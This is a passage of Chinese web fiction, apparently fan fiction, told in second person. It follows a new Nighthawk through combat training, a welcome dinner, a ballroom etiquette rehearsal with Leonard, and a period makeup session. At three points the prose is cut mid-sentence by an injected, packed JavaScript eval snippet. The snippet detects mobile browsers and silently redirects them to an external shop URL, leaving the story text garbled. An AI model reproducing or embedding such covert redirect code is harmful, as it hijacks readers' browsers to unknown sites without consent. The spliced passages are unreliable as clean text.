他再次看向克莱恩,仿佛认定他才是需要被说服的那个,“你该练习的是拔枪的速度,射击的精度,熟悉并掌握那些最新式的、能要人命的武器。那才是这个时代的‘格斗’。” 他的话语里带着一种经历过时代变迁后一丝不易察觉的落寞。 伦纳德显然对此早有准备,他不慌不忙地接口,语气诚恳:“您说得对,高文先生,枪械确实至关重要。但对警察,尤其是我们这种需要处理各种复杂情况的警察来说,格斗依旧是必须掌握的科目。我们所面对的大部分罪犯,并非每一个都是需要立刻击毙的恶魔,他们甚至不一定持有致命武器。在需要制服而非杀死对方、或者自身武器受限的近距离遭遇时,扎实的格斗技巧往往比子弹更能控制局面,减少不必要的伤亡。这也是我们队长特别看重这项训练的原因。” 高文听着伦纳德的解释,阴着脸,沉默了下来。那双浑浊的蓝眼睛看着你们,又仿佛透过你们看到了别的什么。院子里只剩下风吹过杂草的沙沙声。这沉默持续了大概十秒,漫长得让人有些不安。 终于,他目光重新落在克莱恩身上,用下巴示意了一下:“你,过来。试试,出拳。对着空气,用你最大的力气。” 克莱恩明显紧张了一下,他深吸一口气,走上前几步,有些僵硬地抬起右臂,然后朝着前方空地,直直地挥出了一拳。动作标准谈不上,发力也显得颇为凝滞,更像是想把什么东西推出去。 高文的嘴角几不可见地微微抽动了一下,没作评价,只是继续用平淡的语气说:“踢腿。随便哪条腿,向前踢。” 克莱恩依言,努力绷紧右大腿,然后有些别扭地、带着点犹豫地将右脚向前抽踢了出去,幅度不大,身体还因为发力不均晃了晃。 “咳、咳咳……” 高文突然低低地咳嗽了几声,不知道是被灰尘呛到了,还是别的什么原因。他摆了摆手,示意克莱恩可以了,然后,那双带着审视意味的眼睛转向了你,目光在你算不上强壮、甚至有些纤细的胳膊和腿上扫过。 “你,也来。出拳。” 你点点头,走到克莱恩旁边。没有多想,只是回忆着刚才高文要求“用最大力气”和“对着空气”,又结合一点点自己的理解和经验,沉肩、拧腰,将力量传到腰间再贯注到手臂,然后猛地向前击出一记直拳! “踢腿。” 你依言,左腿为轴,右腿自下而上、略带弧度地横踢而出,瞄准的是想象中对手的腰肋部位,力道和精准度也谈不上专业。 高文静静地看完,问道:“以前练过?有经验?” “没有。” 你老实摇头,“就是觉得……那样发力好像比较轻松,能打得更远一点?” 你说出了最直观的感受。这大概得益于“怪物”途径带来的对身体协调性和直觉的微妙提升?或者仅仅是瞎猫碰上死耗子? 高文听完,几不可察地点了点头,没再多问。他转向一直在旁观的伦纳德,用恢复了那种平淡无波的语气说道:“我会遵守和你们队长的约定。不过,以他们两人目前的基础……” 他瞥了一眼还在努力调整站姿的克莱恩,又看了看你,“最开始的一个月,每周只需要来四次,每次三个小时。时间你们自己和我商量确定,但必须固定。一个月后,看进展再调整。” “没问题,高文先生。非常感谢!” 伦纳德笑着应下。 这时,高文突然伸出手,用力拍了拍克莱恩的后背,拍得克莱恩一个趔趄,差点咳嗽出来。这位前骑士看着克莱恩,脸上依旧没什么笑容。 “小子,” 他说道,声音依旧低沉,“你要加油啊。我看得出来,你是一张白纸。这没什么,谁都有开始。但是,” 他顿了顿,目光有意无意地扫过你这边,“别到时候训练结束了,还打不过人家小姑娘。那说出去,可就不好听了。” “……” 克莱恩的嘴角明显抽搐了一下,脸有点发红,不知道是刚才被拍的还是羞的。他认命般地低下头,声音闷闷的,但还算清晰:“是,高文先生,我会努力的。” 你在旁边听着,差点没忍住笑出声,赶紧抿住嘴。平心而论,你和克莱恩如果真比力量来,你的力量其实是不如克莱恩的,但是发力姿势弥补了你的力量缺陷。不过真的打起来可没有那么多时间给你摆姿势。 可是你还有“机器”魔药呢! 这可是能把你变成格斗天才的,唉,克莱恩想超过你估计是不可能了。 伦纳德又和高文先生确认了后续联系和第一次正式训练的时间,定在后天下午,便带着你们向高文先生告辞,离开了这座荒芜的宅院。 晚上六点整,老维尔餐厅那间被提前预订好的包厢已是气氛热烈。除了需要轮值看守查尼斯门的洛耀女士,黑荆棘安保公司在廷根的所有成员悉数到场——六位值夜者(邓恩、弗莱、西迦、伦纳德、科恩黎,以及新晋的你和克莱恩),以及五位文职人员(老尼尔、罗珊、布莱特、西泽尔以及奥利安娜)。 长长的餐桌铺着洁白的亚麻桌布,银质餐具在煤气灯下闪烁着柔和的光泽。 侍者们训练有素地穿梭,端上一盘盘丰盛的食物:浇着浓郁黑胡椒汁、切开后露出粉嫩肉芯的厚切牛排,煎得焦香酥脆的培根,配着绵密土豆泥的罗勒香肠,嫩滑的乳蛋羹,清爽的芦笋沙拉,口感醇厚的特色起司拼盘,以及不断被斟入高脚杯的、泛着细腻气泡的琥珀色香槟。食物的香气与欢快的交谈声交织在一起,充满了庆祝的喜悦。 坐在长桌主位的邓恩·史密斯队长轻轻敲了敲酒杯边缘,清脆的叮当声让谈话声渐渐平息。他端起自己面前那杯深宝石红色的葡萄酒,脸上带着难得一见的、毫无负担的轻松笑容,目光扫过在座的所有人,最后落在你和克莱恩身上。 “各位,” 他声音温和而清晰,“今天,我们聚集在这里,不仅仅是一次例行的聚餐。让我们共同举杯,欢迎两位新成员,正式加入我们值夜者小队的行列——为克莱恩·莫雷蒂先生,温蒂·佩洛蒙西娅小姐,干杯!” “干杯!” “欢迎!” 祝贺声此起彼伏。冷淡内敛、黑发梳理得一丝不苟的弗莱先生,身材矮小却目光烁烁的科恩黎·怀特先生,依旧穿着那身不羁的白衬衫、黑长裤,仿佛刚从诗人聚会溜过来的伦纳德·米切尔,以及白发黑瞳、气质沉静中带着锐利的西迦·特昂女士,还有老尼尔、罗珊等文职同事们,齐齐举起了手中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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西迦则笑着摇头回应:“在这方面,可没人能比得上我们亲爱的尼尔先生。他可是能把购买一包新烟草都说成是‘维持灵性稳定、避免在配制药剂时因烦躁而引发事故的必要保障’的行家。” 这话引得众人都笑了起来,连一向没什么表情的弗莱嘴角也似乎向上弯了微小弧度。你等着听他会不会也说点什么,但他只是保持着那副平静的模样,在大家的笑声中再次举杯,向你和克莱恩的方向微微示意,然后轻轻抿了一口酒,从始至终,都没有开口说一句话,将沉默是金贯彻到底。 晚餐在轻松愉快的气氛中继续。到了尾声,侍者们撤下主菜盘,端上了甜点——一个个热气腾腾、散发着黄油和牛肉香气的约克郡布丁,以及装在精致高脚玻璃杯里的冰淇淋。 冰淇淋冰凉清甜,恰到好处地化解了之前的油腻。你不知不觉就吃完了自己那份浇着鲜红草莓汁的冰淇淋,满足地舒了口气。看向旁边的克莱恩,嗯,他也把他那份浇着深蓝色蓝莓汁的冰淇淋解决得干干净净。 看到大家都用餐完毕,正在悠闲地喝着餐后酒或咖啡低声交谈,邓恩队长再次轻轻敲了敲杯子。 “各位,” 他站起身,脸上带着圆满笑容,“今晚的聚会非常愉快。让我们最后再共同举杯,为我们两位优秀的新成员——克莱恩和温蒂,也为黑荆棘安保公司每一位成员的健康与顺利,干最后一杯! 愿女神的宁静常伴我们左右,愿我们守护的廷根今夜安眠。” “干杯!” 所有人再次起身,酒杯在空中轻轻碰撞,发出清脆悦耳的声响。香槟、葡萄酒都承载着同样的祝福与接纳。 你喝下杯中最后一点香槟,感受着胃里的暖意和胸腔中满溢的归属感。从今天起,你,温蒂·佩洛蒙西娅,就是一名真正的值夜者了。前路或许依旧充满未知与危险,但至少在此刻,在这温暖的光线下,在同事们(现在该叫队友们了)真诚的笑脸中,你感受到了前所未有的踏实与力量。 晚宴在最后一声“干杯”中圆满结束。大家陆续起身,互相道别,约定着明天的轮值和工作。你和克莱恩也向各位前辈一一道谢。 74.第72章 舞会礼仪 第二天清晨,你没有前往佐特兰街的黑荆棘安保公司,而是按照约定,直接来到了位于市中心金梧桐取的市政广场。 阳光透过薄雾,给广场上的雕像和石板路铺上一层淡金。伦纳德已经在那里等着了,他依旧穿着那身随性的白衬衫和黑长裤,靠在广场边缘的一根路灯柱上,带着一种诗人般的懒散气质,与周围开始忙碌起来的城市氛围格格不入。 “早啊,温蒂。”他看到你,挥了挥手,嘴角挂着一如既往的、略带玩世不恭的微笑。 “早,伦纳德。”你快步走过去。今天晚上的舞会至关重要,是近距离观察雪伦夫人的关键机会,必须做好万全准备。 “跟我来吧,”伦纳德直起身,“时间有点紧,我们先去我那儿,上午简单排练一下晚上的礼仪和应对交际的常用模板,下午再带你去做妆发。” 你点点头,跟着他穿过广场,走进旁边一条相对安静的街道。让你有些意外的是,他没有走向普通的公寓楼,而是径直走向了那座庄严肃穆的圣赛琳娜教堂。 “我们……这是去教堂?”你忍不住问了一句。 “嗯,”伦纳德头也没回,语气平常,“我住这儿。” 他带着你绕过教堂正殿,从侧面的一个小门进入,穿过一条略显昏暗的走廊,停在了一扇朴素的木门前。他用钥匙打开门,侧身让你进去。 房间很小,几乎就是一个单身宿舍的规模。陈设极其简单:一张窄小的单人床,一把旧木椅,一个掉漆的小衣柜,墙角堆着几本书和一卷铺盖。东西不多,但摆放得有些凌乱,床上没叠的被子团成一团,椅子上搭着两件衣服,透着单身汉,尤其是伦纳德这种风格的单身汉特有的不拘小节。 你感到有些惊讶。虽然隐约知道伦纳德是教会收养的孤儿,但没想到他成为正式值夜者后,依然住在教堂提供的这么简陋的房间里。 “你……就一直住这里?”你环顾四周,忍不住问道,“没想过租个大点的房子吗?毕竟你现在也有薪水了,比一般的大律师还要高吧。” 伦纳德无所谓地耸耸肩,随手把椅子上的衣服扔到床上,示意你坐。“没必要。这里挺好,安静,离值夜者总部也近。”拍了拍椅子,看你没来坐下,他也没多客气,很自然地坐在了那把唯一的木椅上,身体后靠,椅背发出轻微的吱呀声。 听他这么说,你也不好再说什么。心里有点明白,这或许是他对收养他、培养他的教会和值夜者队伍的一种归属感和依赖感的体现。 你在床边找了块相对整齐的地方,有些内敛地侧身坐下。床板比想象中硬。 “好了,说正事。”伦纳德收敛了些许散漫,进入正题,“今晚的聚会,虽然是梅根议员私宅的小型舞会,但参与者多是新党成员和他们的家眷,规矩不少。上午我们简单过一下基本的舞会礼仪和如果有人搭讪时回应的话术,下午我带你去个相熟的发型师和化妆师那里打理一下。” 他打量了我一下,“礼裙准备好了吗?” “嗯,”你点头,“买了一套,比较简单素雅的款式,应该不会出错。” 你想起那件淡丁香紫色的裙子。 “行,下午穿给我看看。” 伦纳德点点头,没有多做评价,然后开始了他的临时礼仪课。 伦纳德清了清嗓子,开始扮演起礼仪老师的角色,虽然姿态依旧懒散,但说出的内容却意外地专业: “这种私人舞会,请柬通常会在活动前三到六周发出,收到后必须在24小时内回复是否出席。我们是队长以警方高级督察的身份收到的请柬,本来只回复了带我一名助理,但是你知道的,因为一些特殊原因,队长临时增加一位女士。” 伦纳德讲解着,身体也没闲着。说到“由我先向女主人介绍你”时,他从那张吱呀作响的破木椅上站起来,理了理那件本就不挺括的白衬衫领子,瞬间,他身上那种玩世不恭的诗人气质收敛了大半,挺直腰背,下巴微收,眉宇间带上了一种符合督察身份的、略显刻板的严肃。 他向前虚迈一步,仿佛面前站着梅根议员夫人,右手虚按左胸,行了一个标准而略显保守的鞠躬礼,同时用一种比平时低沉、清晰的语调说道:“议员夫人,晚上好。请允许我向您介绍我的同事,温蒂·佩洛蒙西娅小姐。” 他的表演突如其来,你愣了一下才反应过来这是在给你做示范,赶紧从床边站起来,学着他之前说的,努力挤出一个还算得体的微笑,同时回忆着老尼尔提过的、关于对贵族或重要人物行屈膝礼的模糊印象,膝盖微微弯曲,上身保持笔直,幅度极小地行了一个礼,嘴里小声跟着说:“……你好。” “停。” 伦纳德立刻出声道,严肃表情瞬间瓦解,变回了那副懒洋洋的样子,他走回椅子边,却没坐下,而是用手比划了一下,“笑容可以再自然一点,不用那么用力。屈膝礼的幅度……嗯,对于非正式引见不用那么正式,而且对方只是议员夫人,并非有爵位的贵族,轻微的点头致意其实更常见,也更不容易出错。你刚才那样,有点像在对女王行礼。” 他嘴角勾起调侃的弧度。 你脸有点热,重新调整了一下表情,试着只微微颔首。 “好,记住这个感觉。” 伦纳德点点头,继续下一个话题。 讲到舞蹈卡和邀舞时,他忽然转身,侧对着你,用一只手假装拿着羽毛笔,另一只手在空中优雅地虚点,模仿着一位年轻小姐在舞蹈卡上做记号的模样,甚至还捏着嗓子,用假声细气地自言自语:“哎呀,这首华尔兹已经被约翰逊先生预定了……下首因蒂斯舞曲或许可以留给那位新来的子爵?——当然,你不用真的记,心里有数就行。” 你被他的表演逗得想笑,但努力忍住了,知道他是在用这种方式加深你的印象。 “一旦答应,承诺就是神圣的。” 他恢复本音,转过身,表情稍微正经了点,但眼神里依旧闪着戏谑的光,“所以,万一有个秃顶、口臭、还喜欢动手动脚的老家伙邀请你,而你又傻乎乎地答应了……” 他摊摊手,做了个“你完了”的表情。 “我会记住委婉拒绝的套话的!” 你立刻保证。 “很好。” 伦纳德满意地点头,接着,他身体前倾,双手撑在膝盖上,用那双绿色的眼睛盯着你,语气加重,“记住,不要和同一个人跳超过三支舞。你的任务是观察雪伦夫人,不是成为舞会皇后。如果有人缠着你,就用我教的借口开溜,或者……” 他直起身,用手指了指自己,“给我递个眼神,我会像英勇的骑士一样把你救出来的。当然,收费的,回头请我喝一杯。” “没问题!” 你被他最后那句“收费”说得哭笑不得,但也因此放松了不少。 他拍了拍手,“好了,佩洛蒙西娅小姐,假设我们现在已经在梅根议员家的舞会大厅了。灯光,音乐,香槟,还有……各种各样的人。我们来演练一下。首先,从进门开始。” 他后退两步,清了清嗓子,再次进入“正经督察伦纳德”模式,表情严肃地虚挽起手臂。你犹豫了一下,上前轻轻挽住他的臂弯。 “表情放松,别像上刑场。” 他低声提醒,带着你在这大概十多平米的小屋里绕场一周,假装穿过宾客,同时低声快速说着注意事项。 接着,他突然松开你的手,一个滑步绕到你面前,身体微微前倾,右手抚胸,行了一个标准的邀舞礼。这一刻,他脸上那种散漫彻底消失,眼神变得专注,甚至带上一丝恰到好处的殷勤,嘴角挂着标准的社会性微笑,声音也变得醇厚有礼: “晚上好,美丽的小姐。请问,我是否有这个荣幸,与您共舞下一曲?” 你被他瞬间的变脸和入戏惊了一下,差点没接上,赶紧回忆之前的练习,努力让自己的笑容看起来自然,轻轻点了点头,用练习过的平稳声线说:“当然可以,先生。” 然后,你伸出手,指尖虚虚地搭在他早已等待的、摊开的掌心上。 “握手的部位是手指,不是手掌,力度要轻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210903|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 他立刻低声纠正,用他的大拇指轻轻调整了一下你手指的位置。他的手掌温暖干燥,带着常年练习枪械和格斗留下的薄茧。 “很好,保持。” 他带着你,在这狭小的空间里,哼着一段简单的华尔兹旋律,带着你走了几个基本舞步。他的引导稳定而清晰,即使你步伐生疏,也能勉强跟上。 “跳舞时,视线可以微微下垂,或者礼貌地注视舞伴的肩部附近,不要直勾勾地盯着别人的眼睛,也别到处乱瞟。” 一曲(想象中的)终了,他优雅地松开手,再次行礼:“感谢您赐予的美好时光,小姐。” 然后,不等你反应,他迅速退开两步,身体姿态和面部表情再次变化——肩膀微微内收,下巴抬起,眼神里带上一种矜持的探究,手里仿佛捏着一把不存在的羽毛扇。他用略显尖细、拖长了尾音的腔调开口道: “晚上好,我亲爱的。恕我冒昧,您看起来有些面生?佩洛蒙西娅……这个姓氏在廷根可不常见。不知令尊是……?” 这模仿贵妇人打探的姿态惟妙惟肖。你稳住心神,保持微笑,语气平和地回答:“晚上好,夫人。家父并非廷根人士,我近期才因工作迁居至此。廷根确实是座美丽的城市,尤其是这样的夜晚。” “工作?” “贵妇人”眉毛微挑,扇子(虚拟)轻摇,追问道,“像您这样优雅的年轻小姐,从事什么工作呢?” “在警察部门担任一些文职工作。” 你按照商量好的说辞回答,并试图转移话题,“夫人,您今晚的珍珠项链真是光彩夺目。” “哦,谢谢,亲爱的。” “贵妇人”似乎接受了这个说法,或者觉得继续追问不够体面,用虚拟的扇子半掩着嘴笑了笑,结束了这次“盘问”。 然而,伦纳德显然不打算轻易放过你。他脸上的矜持迅速褪去,换上一种更加热切、甚至有点咄咄逼人的笑容,身体也靠得更近了一些,扮演起“难缠的追求者”。 “佩洛蒙西娅小姐,您的舞姿如同月光般轻盈。不知我能否再请您跳下一支舞?啊,还有下下一支?我相信我们有聊不完的话题……” 他一边说,一边试图再次虚握你的手。 你赶紧后退一小步,脸上的笑容带上明显的歉意,同时目光飞快地扫了一眼旁边(假装伦纳德站在那里):“实在抱歉,先生。我看到我的同伴似乎在找我,恐怕得失陪一下。” 说完,你立刻侧身,做出要离开的样子。 “等等,小姐……” “难缠者”还想纠缠。 这时,原本站在旁边“看戏”的伦纳德立刻上前半步,脸上带着礼貌但不容置疑的微笑,挡在了“难缠者”(他自己扮演的)和你之间,用他那悦耳的嗓音说道:“不好意思,这位先生,佩洛蒙西娅小姐确实与我另有约定。” 他自然地虚扶了一下你的手臂,带着你转向另一边。 模拟结束。伦纳德瞬间恢复了平时的样子,长舒一口气,揉了揉脸:“还行。拒绝得还算干脆,脱身理由也用得及时。不过,” 他指了指你的脚,“你刚才后退的时候,差点自己绊到自己。真正的高跟鞋可比你现在穿的这双平底鞋难对付多了。晚上注意点。” 整个上午,你就在伦纳德那间狭小却充满生活气息的房间里,反复练习着微笑的弧度、应对不同问题的标准答案以及如何优雅地手持一把想象中并不存在的羽毛折扇。据说羽毛扇也是当季女士的必备道具,可用于传递一些微妙信号,虽然伦纳德说实际用处可能不大。 “好了,基本规则就这些。” 临近中午,伦纳德结束了教学,“记住,核心是表现得体、不引人注目,这样才能方便你暗中观察。下午打扮好,让我看看你的礼裙,我们再最后调整一下细节。现在,先去填饱肚子!” 你松了口气,虽然感觉脑子被一堆礼仪规则塞满了,但有了这些准备,对今晚的任务确实多了几分底气。看着伦纳德懒散却可靠的样子,你心里的紧张也消散了不少。接下来,就是保存体力、上妆、打理发型了。 75.第73章 美丽的代价 穿着这一身价值不菲、行动间颇受束缚的礼裙,你实在舍不得在可能扬起灰尘的街道上步行,最终还是奢侈地招手叫了一辆出租马车,载着你前往圣赛琳娜教堂。 这身漂亮的裙子,此刻仿佛成了一套无形的枷锁,让你不由自主地变得“娇气”起来——这并非你的本意,实在是裙子太昂贵又太美丽,总会让人不自主地想要去配合做出合适的动作。 你想也许要你能赚1000磅的时候,才能把这8磅的礼裙真正地当日常服饰穿。 马车在庄严肃穆的教堂门口停下。伦纳德已经等在那里了,他换上了一套熨烫平整的黑色正式礼服外套和同色长裤,里面是雪白的衬衫,领口系着标准的领结,手上还搭着一双白手套,难得的一丝不苟。 他靠在一根廊柱上,依旧带着点懒散的诗人气质,但整套装束让他看起来确实像个准备参加正式社交场合的体面绅士了。 看到马车停下,他走上前来,很自然地伸手扶你下车。当他的目光落在你身上时,那惯常的、略带玩世不恭的懒散表情似乎停顿了一瞬,绿色的眼睛里闪过一丝不易察觉的讶异,随即变得有些不太自然,语气甚至罕见地带上了一点结巴:“……温蒂?你……嗯,第一次看你穿裙子,很、很适合你。” 听到他直白的赞美,你原本因为这身打扮而有些不好意思的心情,顿时被一阵小小的喜悦取代,脸颊微微发热:“谢谢……” 你低声道谢,下意识地扯了扯裙摆,“就是第一次穿这么正式、这么贵的裙子,感觉有点不太自在,生怕弄脏了或者刮破了。” 其实你是有穿过裙子的,夏天怎么可能不穿裙子,但是那些简单的、黑白色的亚麻裙,你从来没有用过这样正式的态度和相应的淑女姿态来对待。 “接下来,我们是去化妆做头发吗?” 你不希望气氛变得陌生起来,赶紧转移了话题。 伦纳德点了点头,恢复了平时的语调,但眼神依旧温和:“嗯,就是豪尔斯街的‘芙洛拉的温室’,手艺和口碑在廷根市的夫人小姐们中间还算不错。”伦纳德指了指不远处那家看起来颇为雅致、橱窗里摆放着假发模型和鲜花的美容沙龙。 “那……是不是要花很长时间?” 你看着沙龙紧闭的门,想象着里面繁琐的流程,有点担心会让伦纳德等得不耐烦,“让你一直陪着等,太麻烦你了……” 你话还没说完。 伦纳德却打断了你,嘴角勾起他那标志性的带着点漫不经心的笑容,说道:“等待一位女士变得光彩照人,是每一位自称绅士的男士应有的耐心和荣幸。不用担心时间,邓恩队长批了一整天的假。” 他做了一个“请”的手势。 他这么说,反而让你更加觉得有点不好意思,甚至有些想逃避。一直和伦纳德嘻嘻哈哈惯了,现在的相处氛围并不是你熟悉擅长的那种。 你点点头,跟着他推开沙龙那扇挂着铃铛的玻璃门。 门内是另一个世界。空气中弥漫着浓郁而复杂的香气——有杏仁油、玫瑰水、蜂蜡的甜腻,混合着洗发香波和某种淡淡的香味。 隐约能听到某个房间里传来水流声和女性低低的交谈声。整体环境算不上极尽奢华,但布置得颇为用心,梳妆台上摆放着各种精致的陶瓷罐、玻璃瓶、银质梳子、成套的刷子,以及插着鲜花的花瓶。 一位穿着整洁围裙、面带职业化微笑的店主迎了上来。伦纳德简单说明来意,并出示了预约信息。店主将你引到一个铺着天鹅绒垫子的梳妆台前坐下。伦纳德则被引到沙龙角落一个相对安静、摆放着几本时装杂志的休息区等待。 梳妆台前只有你一个人被陌生的店主和店员们摆弄。 一位女助手首先用浸透了玫瑰水的柔软棉布为你仔细清洁面部。接着,她取出一罐乳白色的,据她说由杏仁油、白蜡和鲸蜡油制成的面霜,用手指蘸取,轻柔地在你脸上和脖颈处按摩,说是为了滋润皮肤,便于后续上妆 。 接着另一位更年长、手法更熟练的美容师过来接手了你。她打开一个精致的、带有螺丝盖子的陶瓷罐,里面是雪白的粉末,再用一把柔软的白兔毛粉扑,蘸取大量香粉,极其轻柔地、一层层地扑在你的脸上、颈部和其他裸露的皮肤上。这粉末据说主要是由米粉和滑石粉混合而成,旨在打造最流行的“贵族白”肤色 。 你能感觉到脸上的皮肤被一层细腻的“面具”覆盖,毛孔似乎都无法呼吸了。为了固定这些粉末,防止脱落,她在扑粉之前还特意在你脸上薄薄地涂了一层乳液 。 苍白的底色完成后,需要一点生命力的点缀。但直接使用明显的腮红被认为是不得体、甚至与妓女有关的 (你完全没能理解腮红和妓女有什么关联)。因此,美容师并没有使用明显的胭脂,而是用手掌侧缘,非常轻微地、快速地在你的脸颊上拍打了几下,利用轻微的充血来制造一种极其自然的红晕 。接着使用了极其少量稀释过的甜菜根汁,拍打在脸颊,营造出类似效果 。 据店员的说法,眼妆并非重点,但也要修饰。 美容师用一支细小的刷子,蘸取了一点深褐色的眉粉,可能是木炭或植物颜料制成的,轻轻扫过你的眉毛,使其形状更加清晰、呈现自然的弓形 。她没有给你画明显的眼线和眼影,但用指尖蘸取了一点点透明的蓖麻油,轻轻点在你的眼睑和睫毛根部,这让眼睛在煤气灯下看起来更加湿润、有神采 。 对于唇色,也是追求自然。美容师用一块干净的细纱布,预先浸泡过混合了淡粉色植物色素(应该是甜菜根或浆果汁)的水,将其晾干,然后让你用嘴唇轻轻抿住纱布,留下极其淡雅的粉红色 。最后,涂上薄薄一层蜂蜡以增加光泽 。 化妆完成后,另一位擅长发型的助手开始整理你的头发。她仔细地将你的黑色长发梳理通顺,然后盘成一个复杂而优雅的发髻,用发夹和与裙子颜色相配的淡紫色缎带固定并装饰 。过程中似乎使用了某种带有清淡花香的发油来抚平碎发,增加光泽。她还帮你戴上了一顶缀有简单缎带的小礼帽,将其巧妙地斜戴在发髻一侧。 全部完成后,美容师再次拿起那个大大的粉扑,沾满香粉,用一块丝绒布轻轻包裹,然后极其轻柔地在你整个妆面上再次按压了一遍,以确保妆容持久、无油光,维持那种完美的“哑光白瓷”质感 。 她叮嘱你,尽量保持表情平静,避免大笑或做出过于夸张的表情,以免脸上的粉妆开裂 。 整个过程中,你闭着眼,感受着各种刷子、粉末、油脂在脸上动作,听着美容师和助手轻柔的指令和交谈,心里五味杂陈。这确实让你看起来更加“体面”,符合舞会的要求——肤色白皙,美丽优雅,但脸上那层粉感,以及需要控制表情的约束,都让你清晰地意识到美丽的代价。 当一切就绪,你站起身,看向镜中那个脸色苍白、双颊带着微妙红晕、头发一丝不苟、穿着淡紫色礼裙的“淑女”时,几乎有点认不出自己了。精致,但陌生。 整个过程缓慢而细致,你被迫长时间保持一个固定的姿势,感觉简直是折磨。 当你终于从沙龙走出来,夜幕已然低垂。你全身的肌肉因为长时间的端坐而有些僵硬,脸上仿佛覆着一层薄薄的面具。 等在外间的伦纳德放下手中的诗集,抬起头。煤气灯的光线落在你身上,他静静地看了你几秒钟,那绿色的眼睛里似乎闪过一丝难以捕捉的情绪,最终化为一个淡淡的、了然的微笑。 “准备好了吗,佩洛蒙西娅小姐?”他站起身,向你伸出手臂,“舞会要开始了。” 美容沙龙里那几个小时的端坐,几乎让你的身体和精神都陷入了一种麻木的状态。离开那香气浓郁、光线柔和的房间时,你脑子里一片空白,完全不想去猜测伦纳德此刻在想什么,只觉得一种从骨头缝里透出来的累。 你简直不敢想象,这世界上真的会有人爱好这种聚会。也许只有像雪伦夫人那样天生丽质、无需过多修饰就光彩照人的女性,才会真正享受舞会吧?她大概根本不需要忍受这种在脸上涂涂抹抹、把头发紧紧盘起的酷刑。 也许一开始,我就该跟队长说,把我安排成内场保安或者暗桩就好了,何必非要成为舞会的一员? 这个念头伴随着身体的僵硬和妆容带来的轻微束缚感,让你在走出沙龙、面对伦纳德伸出的手臂时,只是极其轻微地、几乎不可闻地叹了口气,然后才抬起手,以一种合乎礼仪但绝对谈不上热情的姿势,轻轻挽住了他的臂弯。你的手指隔着丝质手套,能感觉到他手臂布料下坚实的肌肉线条。 “有什么感想?” 伦纳德似乎想活跃一下气氛,侧头看着你问道,声音在马车行驶的辘辘声中显得很轻。 你保持着面部表情的平静——一方面是累,另一方面也是不敢做大表情,怕破坏了昂贵的妆面和发型。 你听见自己的声音轻轻地、没什么起伏地回答:“很痛苦。” 顿了顿,又补充道,“这辈子不想再化妆了。我愿意为此放弃用公款买任何漂亮裙子的机会。” 这些话几乎是未经思考就流了出来,“刚才坐在那儿的时候,我一直在想,自己到底做错了什么,要受这种罪。”你的语气平板,没什么起伏,但字字句句都透着发自肺腑的抗拒。 伦纳德似乎很惊讶你会这么直接、这么彻底地表示对“变美”过程的不满。他大概以为女孩子,即使是值夜者,也或多或少都会对打扮有点兴趣。他侧过头,绿色的眼睛里闪过一丝错愕,张了张嘴,似乎想说什么安慰或调侃的话,但还没说出来,就听见你继续用那种平静到近乎麻木的语调诉苦: “而且,” 你的声音依旧很轻,但语速快了一点,像是在对自己说,也像是对他解释这“痛苦”的具体形态,“就算心里讨厌得要死,脸上也不能做出讨厌的表情。因为这是‘合乎礼仪的’,是‘美丽的’,而且是……昂贵的。” 你想到妆面的价钱,想到裙子,“一想到如果我因为难受或者生气真的流了眼泪,会毁掉我坐在那里浪费的几个小时和花的钱,就更难过了。唉。” 这声叹息在封闭的车厢里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215826|197109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格外清晰。马车里安静了片刻。伦纳德似乎被你这一连串带着疲惫和自嘲的控诉给弄得一时语塞。你能感觉到他挽着你的手微微调整了一下姿势,让你的手臂可以更放松地搭着,但他没有说话,只是像一个真正恪守职责的绅士那样平稳地支撑着。 他的目光投向窗外飞逝的街景,侧脸在昏黄的车灯下半明半暗。 马车在石板路上规律地颠簸着,我们像两个被精心装扮过、却失去生气的陶俑,安静地并排坐着。沉默在蔓延,只有车轮声和远处隐约传来的城市喧嚣。 这沉默让你渐渐从自怨自艾中抽离出来。你突然意识到——我刚才那些话,是不是太过分了? 这不是伦纳德的错。化妆、舞会,这些都是任务需要。而他,从上午的礼仪教学,到下午的全程陪同等待,甚至刚才扶我上下马车……他其实帮了我很多,也付出了时间和耐心。我却因为自己的不适和情绪,把怨气隐约撒在了他身上,至少,是让他听到了这些毫无建设性的负面情绪。 就像我不愿意看见邓恩队长眼底的沉重,不愿意体会他的痛苦一样,伦纳德对我的难受同样无能为力。我的抱怨除了让他也感到些许无措和不快之外,有什么实际作用呢?并不能让我立刻卸妆回家,也不能让任务取消。 愧疚感渐渐压过了疲惫和烦躁。你轻轻吸了口气,又缓缓吐出,尽量不让胸口的起伏太大。脸上的妆让你无论是诉说痛苦还是表达歉意,都只能轻轻地,因为大动作可能会让唇周的妆粉开裂,或者让精心描绘的眉眼变形。 “伦纳德。” 你叫他。 “嗯?” 他应了一声,没有转头,声音也很轻。 “我应该向你道歉。” 你说。 这下,他转过了头。马车窗外流动的煤气灯光在他脸上划过明明暗暗的条纹,那双绿色的眼睛在昏暗的光线里显得格外深邃,安静地看着你,等待下文。 